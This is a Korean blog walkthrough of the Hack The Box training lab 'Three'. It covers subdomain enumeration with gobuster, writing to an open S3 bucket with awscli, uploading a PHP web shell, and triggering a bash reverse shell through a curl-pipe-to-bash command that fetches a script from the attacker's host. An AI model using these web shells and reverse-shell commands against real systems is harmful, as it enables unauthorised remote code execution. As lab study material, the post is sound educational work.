Hack The Box/Lab

Three - awscli & reverse shell & subdomains

YujinSec 2026. 4. 30. 12:40

 

1. 기본 개념
0) gobuster
vhost: vhost를 브루트 포싱으로 찾기
--apend-domain: vhost앞에 워드리스트들의 각 단어를 붙여서 실행 시 사용.
=> gobuster는 실행 결과 기본 응답와 다른 응답을 출력하는 경우를 보여준다. 
 
1) aws s3 bucket
: 클라우드 저장소.
 
- s3: 클라우드 기반 객체 저장소 서비스
- bucket: 데이터를 저장하는 컨테이너
- s3 객체(=objects): amazon s3 버킷 안에 저장된 파일들. 
 
*JSON = 데이터 저장하고 주고받기 위한 텍스트 형식. {키:값}
 
툴-awscli)
설치. 

apt install awscli

 
aws 설정

aws configure

https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html

 

Configuring settings for the AWS CLI - AWS Command Line Interface

AWS requires that all incoming requests are cryptographically signed. The AWS CLI does this for you. The "signature" includes a date/time stamp. Therefore, you must ensure that your computer's date and time are set correctly. If you don't, and the date/tim

docs.aws.amazon.com

 
기본 aws서버 말고 s3로 서버 지정 + aws cli 안에서의 s3 기능 사용 + 버킷 목록 확인

aws --endpoint=http://s3.thetoppers.htb s3 ls

https://docs.aws.amazon.com/cli/latest/reference/s3/ls.html

 

ls — AWS CLI 2.34.39 Command Reference

Description List S3 objects and common prefixes under a prefix or all S3 buckets. Note that the –output and –no-paginate arguments are ignored for this command.

docs.aws.amazon.com

 
특정 버킷 내부 json 확인 (ex: 버킷 이름 = thetoppers.htb)

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

 
버킷에 업로드.(파일 복사)

aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

 
*웹 루트: 웹 서버가 브라우저 요청에 대해 기본적인 파일을 꺼내 보여주는 최상위 폴더. 
 
2) sub-domain
: 웹 사이트 도메인 이름의 앞부분에 추가되는 별도의 정보. 여전히 저 기본 도메인 아래에 있는 웹 사이트는 맞음.  
ex) ctf.hackthebox.com
> ctf: sub-domain
> hackthebox: 기본 도메인
> com: TLD = 최상위 도메인
 
vhost = virtual host = 하나의 서버가 여러 도메인 사이트 운영하게 해주는 기능 자체. 
 
host-based routing 혹은 virtual host routing)
: 하나의 서버가 여러 서브 도메인을 처리하는 방식. 
해당 서버는 HTTP요청에 들어간 host 헤더를 보고 어떤 어플리케이션의 요청인지 확인한 후 라우팅 함. 

-> 만약 vhost의 경우인 ip가 있는데, 그 ip만 바로 주소창 url에 쳐버리면, 어떤 호스트명을 원하는지 지정해주지 않았으므로 오류를 반환하게 됨. 

-> request에서 host http 헤더에 설정 필요

 

*DNS = Domain Name System: 계층적인 이름 체계
 
3) php코드

<?php system($_GET["cmd"]); ?>

- cmd라는 인자의 값을 가져오겠다. 
=> 그 값을 system함수로 실행하겠다. 
 
4) 리버스 셸
: 원격 호스트가 우리의 로컬 머신 ip주소와 지정한 리스닝 포트로 다시 연결하도록 만드는 방식. 

- 일반 shell: 공격자가 타겟에 접속함(타겟 서버가 포트 열고 기다림)

<-> 리버스 shell: 타겟이 공격자에게 접속(우리가 포트 열고 기다림)
 
0: cmd 창 연결 코드: shell.php
=> 위 php코드에 나온 코드 그대로 들어가면 됨. 

echo '<?php system($_GET["cmd"]); ?>' > shell.php

 
1: bash 셸 생성 코드: shell.sh
=> 대상 서버가 우리 ip/port로 역으로! 접속하여 셸을 넘겨주도록 하자~

#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1

 
입출력을 우리 공격자 ip의 1337로 연결함
 
*bash 셸: cmd, powershell,,  
*소캣 = IP 주소 + 포트 + 프로토콜(TCP/UDP)
 
2: ncat 리스너 실행

nc -nvlp 1337

포트를 앞에서 우리가 연결한 1337로 적어줌. 
 
3: 서버 열기
=> 현재 폴더를 웹 서버로 열어줌 (http 서버)

python3 -m http.server 8000

8000번 포트에서 웹 서버 실행 시켜서 bash 파일을 호스팅하도록 함. 
 
*호스팅= 내 파일을 다른 컴퓨터가 다운로드할 수 있게 공개한다. 
 
4: curl로 다운
: 해당 url로 데이터를 요청에서 다운받기
 
 
2. 문제 풀이

ssh와 http가 있다. 
http로 접속 ㄱ

페이지를 뒤적거리다 보면 contact페이지가 뜬다. 웹 해킹 문제는 이 contact페이지가 유용하게 잘 쓰이는 듯,,

 
여기 소스 코드 보기 하면 action에 php로 연결되는 게 보임. 

또 저 메일 입력 넣어줘도 php라 보이고,

아니면 메인 페이지의 index.php도 발견 가능 ㅇㅇ.

사이트 주소 다시 보면 the toppers가 지금 홈페이지 이름이니 /etc/hosts에 따로 적어 추가해준다. 

그리고 여기서 dir-busting을 하기 위해 gobuster 실행 ㄱ. 
이때 --apend-domain 옵션을 안 넣어주면 안 뜬다,,
안 넣을 때)

넣을 때)

 
저 발견된 s3.어쩌구에 접속 ㄱ. 
그럼 json하나만 달랑 뜸. 

일단 저 주소도 ip 등록해주자. 

 
이제, 저 s3를 활용할 툴인 awscli를 사용해보자. 
먼저 설정부터. 기본값은 들어있어야하니 아무거나 해봄. 이 경우는 인증 검사는 안 해서 되는 거 같다. 

 
1. 버킷 목록 확인. 

 
2. 버킷 안의 객체 확인
방금 본 index.php도 보인다. 여기다 cmd연결 코드 파일 넣어주면 웹 사이트에 잘 연결 될 듯?

 
우선 cmd실행을 위한 shell.php 파일을 생성한다. 파라미터 값을 통해 cmd 명령을 실행해준다. 

그리고 저 shell.php를 s3 버킷에 업로드 해준다. 

 
아래 url을 쳐봄. 
http://thetoppers.htb/shell.php?cmd=id

잘 뜸. 
 
이제 다음 단계는 shell.sh를 만들어, bash 셸을 넘겨주는 코드임. 

 
참고로 내 ip는 ifconfig의 tun0정보 가져옴. 
 
이제 리스닝 포트도 열고

서버도 연다. 여기 위치에 shell.sh 코드도 있어야 함. 

 
이제 마지막! 아래 명령어로 주소창 ㄱㄱ. 
http://thetoppers.htb/shell.php?cmd=curl 10.10.15.217:8000/shell.sh|bash
 
리스닝 하던 곳 가보면 플래그 발견!

 
+) 
사실 굳이 shell.sh까지 등록할 필요없이 그냥 바로 shell.php만 있는 상태에서 해도 ㄱㄴ은 하다. 나중의 확장성 때문에 배우는 것 같다,,
http://thetoppers.htb/shell.php?cmd=cat%20/var/www/flag.txt

 

'Hack The Box > Lab' 카테고리의 다른 글

Bike - SSTI  (0) 2026.05.02
Funnel - 터널링 & PostgreSQL & ss  (0) 2026.05.02
Responder - NTLM & winRM & LFI & RFI  (0) 2026.04.30
Crocodile -wappalyzer  (0) 2026.04.30
Sequel - dbms: mysql  (0) 2026.04.29